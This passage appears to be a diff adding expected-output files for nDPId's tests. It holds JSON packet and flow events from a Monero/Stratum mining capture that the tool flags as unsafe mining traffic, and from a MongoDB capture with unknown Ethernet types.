+00423{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":514038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA0e71AAEAG1fPAqAKUXhfHv7b2DQVL2\/c9wdgLNIAQAOU2AwAAAQEIChyh8LHnhI3I"} +00555{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":514164,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"fmgbW\/gUcIXCQ0+iCABFAACTe75AAEAG1ZPAqAKUXhfHv7b2DQVL2\/c9wdgLNIAYAOX\/kgAAAQEIChyh8LHnhI3IeyJpZCI6MiwibWV0aG9kIjoibWluaW5nLmF1dGhvcml6ZSIsInBhcmFtcyI6WyJ0MWZBaFpGNWFVSmRZN0Npa0dVTEhtZVlrN2lkOHFtdmJBZC5yaWc0IiwieCJdfQo="} +00477{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":595016,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"cIXCQ0+ifmgbW\/gUCABF4ABah0BAADEG2GpeF8e\/wKgClA0FtvbB2As0S9v3nIAYAON8uAAAAQEICueEjd0cofCxeyJpZCI6MiwicmVzdWx0Ijp0cnVlLCAiZXJyb3IiOiBudWxsfQo="} +00588{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":595029,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"cIXCQ0+ifmgbW\/gUCABF4ACrh0FAADEG2BheF8e\/wKgClA0FtvbB2AtaS9v3nIAYAONMPAAAAQEICueEjd0cofCxeyJpZCI6bnVsbCwibWV0aG9kIjoibWluaW5nLnNldF90YXJnZXQiLCJwYXJhbXMiOlsiMDAwNDE4OTM3NGJjNmE3ZWY5ZGIyMmQwZTU2MDQxODkzNzRiYzZhN2VmOWRiMjJkMGU1NjA0MTg5Mzc0YmM2YSJdfQo="} +00425{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":595048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA0e79AAEAG1fHAqAKUXhfHv7b2DQVL2\/ecwdgL0YAQAOU0oQAAAQEIChyh8QLnhI3d"} +00507{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":595326,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"fmgbW\/gUcIXCQ0+iCABFAABwe8BAAEAG1bTAqAKUXhfHv7b2DQVL2\/ecwdgL0YAYAOVHiQAAAQEIChyh8QLnhI3deyJpZCI6MywibWV0aG9kIjoibWluaW5nLmV4dHJhbm9uY2Uuc3Vic2NyaWJlIiwicGFyYW1zIjpbXX0K"} +00425{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":713014,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"cIXCQ0+ifmgbW\/gUCABF4AA0h0JAADAG2Y5eF8e\/wKgClA0FtvbB2AvRS9v32IAQAOM0SQAAAQEICueEjfscofEC"} +00844{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196189,"pkt_ts_usec":595336,"pkt_caplen":376,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":376,"pkt_l4_len":342,"pkt":"cIXCQ0+ifmgbW\/gUCABF4AFqh0NAADEG11deF8e\/wKgClA0FtvbB2AvRS9v32IAYAOPe8QAAAQEICueEjtccofECeyJpZCI6bnVsbCwibWV0aG9kIjoibWluaW5nLm5vdGlmeSIsInBhcmFtcyI6WyI4YzZmMmQ0YzZkMmM3MDE0ZmIyNiIsIjA0MDAwMDAwIiwiOWUyZmM3NjhiZDE5Nzc1MjhjOGQ2MDk2ZDQ2Mzc2NzU4MTc5ZTI1YmYzMjkzNDI4YjY1ZjEyMDEwMDAwMDAwMCIsIjM1ZDM0MWE4YjE5YTM4Y2Q1ODRjYjU0OTQxODViNGRiZjFhN2VhYTkxYTlmZjY1NDFlODUxZGU1MGNiYzg4YTIiLCIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIiwiYTljYzQwNWEiLCIwOWQ4MTUxYyIsdHJ1ZV19Cg=="} +00426{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196189,"pkt_ts_usec":637809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA0e8FAAEAG1e\/AqAKUXhfHv7b2DQVL2\/fYwdgNB4AQAO0uRQAAAQEIChyh9OrnhI7X"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"monero.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1514196196437,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.148","dst_ip":"116.211.167.195","src_port":53846,"dst_port":3333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196196,"pkt_ts_usec":437568,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA8ltZAAEAGxBLAqAKUdNOnw9JWDQXzKAOTAAAAAKACchCvSQAAAgQFtAQCCAqVhds1AAAAAAEDAwc="} +00423{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196196,"pkt_ts_usec":745688,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"cIXCQ0+ifmgbW\/gUCABFAAA0AABAACEGefF006fDwKgClA0F0lYVgl9O8ygDlIASchDSRAAAAgQFpAEBBAIBAwMH"} +00407{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196196,"pkt_ts_usec":745729,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAAoltdAAEAGxCXAqAKUdNOnw9JWDQXzKAOUFYJfT1AQAOWEMgAA"} +00542{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196196,"pkt_ts_usec":745906,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"fmgbW\/gUcIXCQ0+iCABFAACKlthAAEAGw8LAqAKUdNOnw9JWDQXzKAOUFYJfT1AYAOW00gAAeyJpZCI6MSwibWV0aG9kIjoibWluaW5nLnN1YnNjcmliZSIsInBhcmFtcyI6WyJFV0JGIDAuMy40YiIsbnVsbCwiY24xLXpjYXNoLmZseXBvb2wub3JnIiwiMzMzMyJdfQo="} +00557{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"monero.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1514196196437,"flow_last_seen":1514196196745,"flow_tot_l4_data_len":210,"flow_min_l4_data_len":20,"flow_max_l4_data_len":118,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.148","dst_ip":"116.211.167.195","src_port":53846,"dst_port":3333,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00414{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":53838,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"cIXCQ0+ifmgbW\/gUCABFAAAoOQVAACEGQPh006fDwKgClA0F0lYVgl9P8ygD9lAQAOWD0AAAAAAAAAAA"} +00492{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":53851,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"cIXCQ0+ifmgbW\/gUCABFAABmOQZAACEGQLl006fDwKgClA0F0lYVgl9P8ygD9lAYAOX7pgAAeyJpZCI6MSwicmVzdWx0IjpbIjMzMzZiODBlOGYiLCAiMzMzNmI4MGU4ZiJdLCAiZXJyb3IiOiBudWxsfQo="} +00406{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":53925,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAAoltlAAEAGxCPAqAKUdNOnw9JWDQXzKAP2FYJfjVAQAOWDkgAA"} +00533{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":54629,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"fmgbW\/gUcIXCQ0+iCABFAACFltpAAEAGw8XAqAKUdNOnw9JWDQXzKAP2FYJfjVAYAOWF1AAAeyJpZCI6MiwibWV0aG9kIjoibWluaW5nLmF1dGhvcml6ZSIsInBhcmFtcyI6WyJ0MWZKdUhXcmZjV25ZTVl5UDlWQUY5NnZSbnZORDJOemlNRy5jMSIsIngiXX0K"} +00459{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":362594,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"cIXCQ0+ifmgbW\/gUCABFAABOOQdAACEGQNB006fDwKgClA0F0lYVgl+N8ygEU1AYAOXKXAAAeyJpZCI6MiwicmVzdWx0Ijp0cnVlLCAiZXJyb3IiOiBudWxsfQo="} +00571{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":362605,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"cIXCQ0+ifmgbW\/gUCABFAACfOQhAACEGQH5006fDwKgClA0F0lYVgl+z8ygEU1AYAOWZ4AAAeyJpZCI6bnVsbCwibWV0aG9kIjoibWluaW5nLnNldF90YXJnZXQiLCJwYXJhbXMiOlsiMDAwNDE4OTM3NGJjNmE3ZWY5ZGIyMmQwZTU2MDQxODkzNzRiYzZhN2VmOWRiMjJkMGU1NjA0MTg5Mzc0YmM2YSJdfQo="} +00408{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":362637,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAAolttAAEAGxCHAqAKUdNOnw9JWDQXzKARTFYJgKlAQAOWCmAAA"} +00490{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":362720,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"fmgbW\/gUcIXCQ0+iCABFAABkltxAAEAGw+TAqAKUdNOnw9JWDQXzKARTFYJgKlAYAOWVgAAAeyJpZCI6MywibWV0aG9kIjoibWluaW5nLmV4dHJhbm9uY2Uuc3Vic2NyaWJlIiwicGFyYW1zIjpbXX0K"} +00416{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196197,"pkt_ts_usec":709341,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"cIXCQ0+ifmgbW\/gUCABFAAAoOQlAACEGQPR006fDwKgClA0F0lYVgmAq8ygEj1AQAOWCXAAAAAAAAAAA"} +00827{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196198,"pkt_ts_usec":363248,"pkt_caplen":364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":364,"pkt_l4_len":330,"pkt":"cIXCQ0+ifmgbW\/gUCABFAAFeOQpAACEGP71006fDwKgClA0F0lYVgmAq8ygEj1AYAOXjWAAAeyJpZCI6bnVsbCwibWV0aG9kIjoibWluaW5nLm5vdGlmeSIsInBhcmFtcyI6WyIyOWM0YzUxZTI4OGE4Y2EyYzM2NSIsIjA0MDAwMDAwIiwiOWUyZmM3NjhiZDE5Nzc1MjhjOGQ2MDk2ZDQ2Mzc2NzU4MTc5ZTI1YmYzMjkzNDI4YjY1ZjEyMDEwMDAwMDAwMCIsIjM1ZDM0MWE4YjE5YTM4Y2Q1ODRjYjU0OTQxODViNGRiZjFhN2VhYTkxYTlmZjY1NDFlODUxZGU1MGNiYzg4YTIiLCIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIiwiYTljYzQwNWEiLCIwOWQ4MTUxYyIsdHJ1ZV19Cg=="} +00409{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196198,"pkt_ts_usec":405805,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAAolt1AAEAGxB\/AqAKUdNOnw9JWDQXzKASPFYJhYFAQAO2BHgAA"} diff --git a/test/results/mongodb.pcap.out b/test/results/mongodb.pcap.out new file mode 100644 index 000000000..0e93eb3a6 --- /dev/null +++ b/test/results/mongodb.pcap.out @@ -0,0 +1,54 @@ +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459978,"pkt_ts_usec":959064,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQAAQHp6QAA\/BrGvCgoKCgoKCgvKbmmJmGzsIgAAAACwAv\/\/ouIAAAIEBVABAwMFAQEICm\/8XGwAAAAABAIAAA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459978,"pkt_ts_usec":959080,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"LGv11hfFLGv11hfMgQAAMggARQAAQHp6QAA+BrKvCgoKCgoKCgvKbmmJmGzsIgAAAACwAv\/\/ouIAAAIEBVABAwMFAQEICm\/8XGwAAAAABAIAAA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00402{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459979,"pkt_ts_usec":210216,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"ABsXAAIwACKDPxfFgQABLAgARQAAPAAAQAA1BjYuCgoKCwoKCgppicpuPpqGQZhs7COgEmjf5dgAAAIEBSYEAggKXOpDgG\/8XGwBAwMH"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459979,"pkt_ts_usec":301410,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQAANBx\/QAA\/Bg+3CgoKCgoKCgvKbmmJmGzsIz6ahkKAEBAaa4YAAAEBCApv\/F3CXOpDgA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459979,"pkt_ts_usec":301422,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"LGv11hfFLGv11hfMgQAAMggARQAANBx\/QAA+BhC3CgoKCgoKCgvKbmmJmGzsIz6ahkKAEBAaa4YAAAEBCApv\/F3CXOpDgA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00731{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483459979,"pkt_ts_usec":301746,"pkt_caplen":317,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":317,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQABK\/fXQAA\/BjNnCgoKCgoKCgvKbmmJmGzsIz6ahkKAGBAaRyIAAAEBCApv\/F3CXOpDgPcAAACYNm5NAAAAANQHAAAAAAAAYWRtaW4uJGNtZAAAAAAA\/\/\/\/\/9AAAAAQaXNtYXN0ZXIAAQAAAANjbGllbnQAtQAAAANkcml2ZXIAKgAAAAJuYW1lAAgAAABQeU1vbmdvAAJ2ZXJzaW9uAAYAAAAzLjQuMAAAA29zAFUAAAACdHlwZQAHAAAARGFyd2luAAJuYW1lAAcAAABEYXJ3aW4AAmFyY2hpdGVjdHVyZQAHAAAAeDg2XzY0AAJ2ZXJzaW9uAAgAAAAxMC4xMS42AAACcGxhdGZvcm0AFwAAAENQeXRob24gMi43LjEwLmZpbmFsLjAAAAA="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558834,"pkt_ts_usec":969479,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"AABeAAEBABsXAAIwgQABLAgARQAAQPlkQAA\/Bn5pCgoKDAoKCg3ZHmmJO1oRNAAAAACwAv\/\/WNkAAAIEBVABAwMFAQEIChY4dS8AAAAABAIAAA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":7,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558834,"pkt_ts_usec":969493,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"PIqwbyfFPIqwbyfMgQAAMggARQAAQPlkQAA+Bn9pCgoKDAoKCg3ZHmmJO1oRNAAAAACwAv\/\/WNkAAAIEBVABAwMFAQEIChY4dS8AAAAABAIAAA=="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":8,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00400{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558835,"pkt_ts_usec":50109,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"ABsXAAIwPIqwbnfFgQABLAgARQAAPAAAQAA0BoLSCgoKDQoKCgxpidkeO6pi7TtaETWgEhagavwAAAIEBbQEAggKjPy8NBY4dS8BAwMJ"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":9,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558835,"pkt_ts_usec":130993,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AABeAAEBABsXAAIwgQABLAgARQAANBMKQAA\/BmTQCgoKDAoKCg3ZHmmJO1oRNTuqYu6AEBAgn6wAAAEBCAoWOHXNjPy8NA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":10,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558835,"pkt_ts_usec":130999,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"PIqwbyfFPIqwbyfMgQAAMggARQAANBMKQAA+BmXQCgoKDAoKCg3ZHmmJO1oRNTuqYu6AEBAgn6wAAAEBCAoWOHXNjPy8NA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":11,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483558835,"pkt_ts_usec":131940,"pkt_caplen":129,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AABeAAEBABsXAAIwgQABLAgARQAAbzJyQAA\/BkUtCgoKDAoKCg3ZHmmJO1oRNTuqYu6AGBAgheQAAAEBCAoWOHXNjPy8NDsAAAAAAAAAAAAAANQHAAAAAAAAYWJ0ZXN0LiRjbWQAAAAAAP\/\/\/\/8TAAAAEGdldG5vbmNlAAEAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":12,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483726705,"pkt_ts_usec":497076,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"ABsXAAEkACKDPxfFgQAAZAgARQAAQCMwQAA9BrgMCgoKDgoKCg\/wP2mJBNDEtQAAAACwwv\/\/uGgAAAIEBWoBAwMFAQEICjJ1xd4AAAAABAIAAA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":13,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00403{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483726705,"pkt_ts_usec":499673,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"ACKDPxfFABsXAAEkgQAAZAgARQAAPAAAQAA4BuBACgoKDwoKCg5pifA\/z9O+JwTQxLagUnEgLR0AAAIEBbQEAggKGQyESzJ1xd4BAwMH"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":14,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483726705,"pkt_ts_usec":503813,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"ABsXAAEkACKDPxfFgQAAZAgARQAANDYCQAA9BqVGCgoKDgoKCg\/wP2mJBNDEts\/TviiAEBAavSkAAAEBCAoydcXkGQyESw=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet 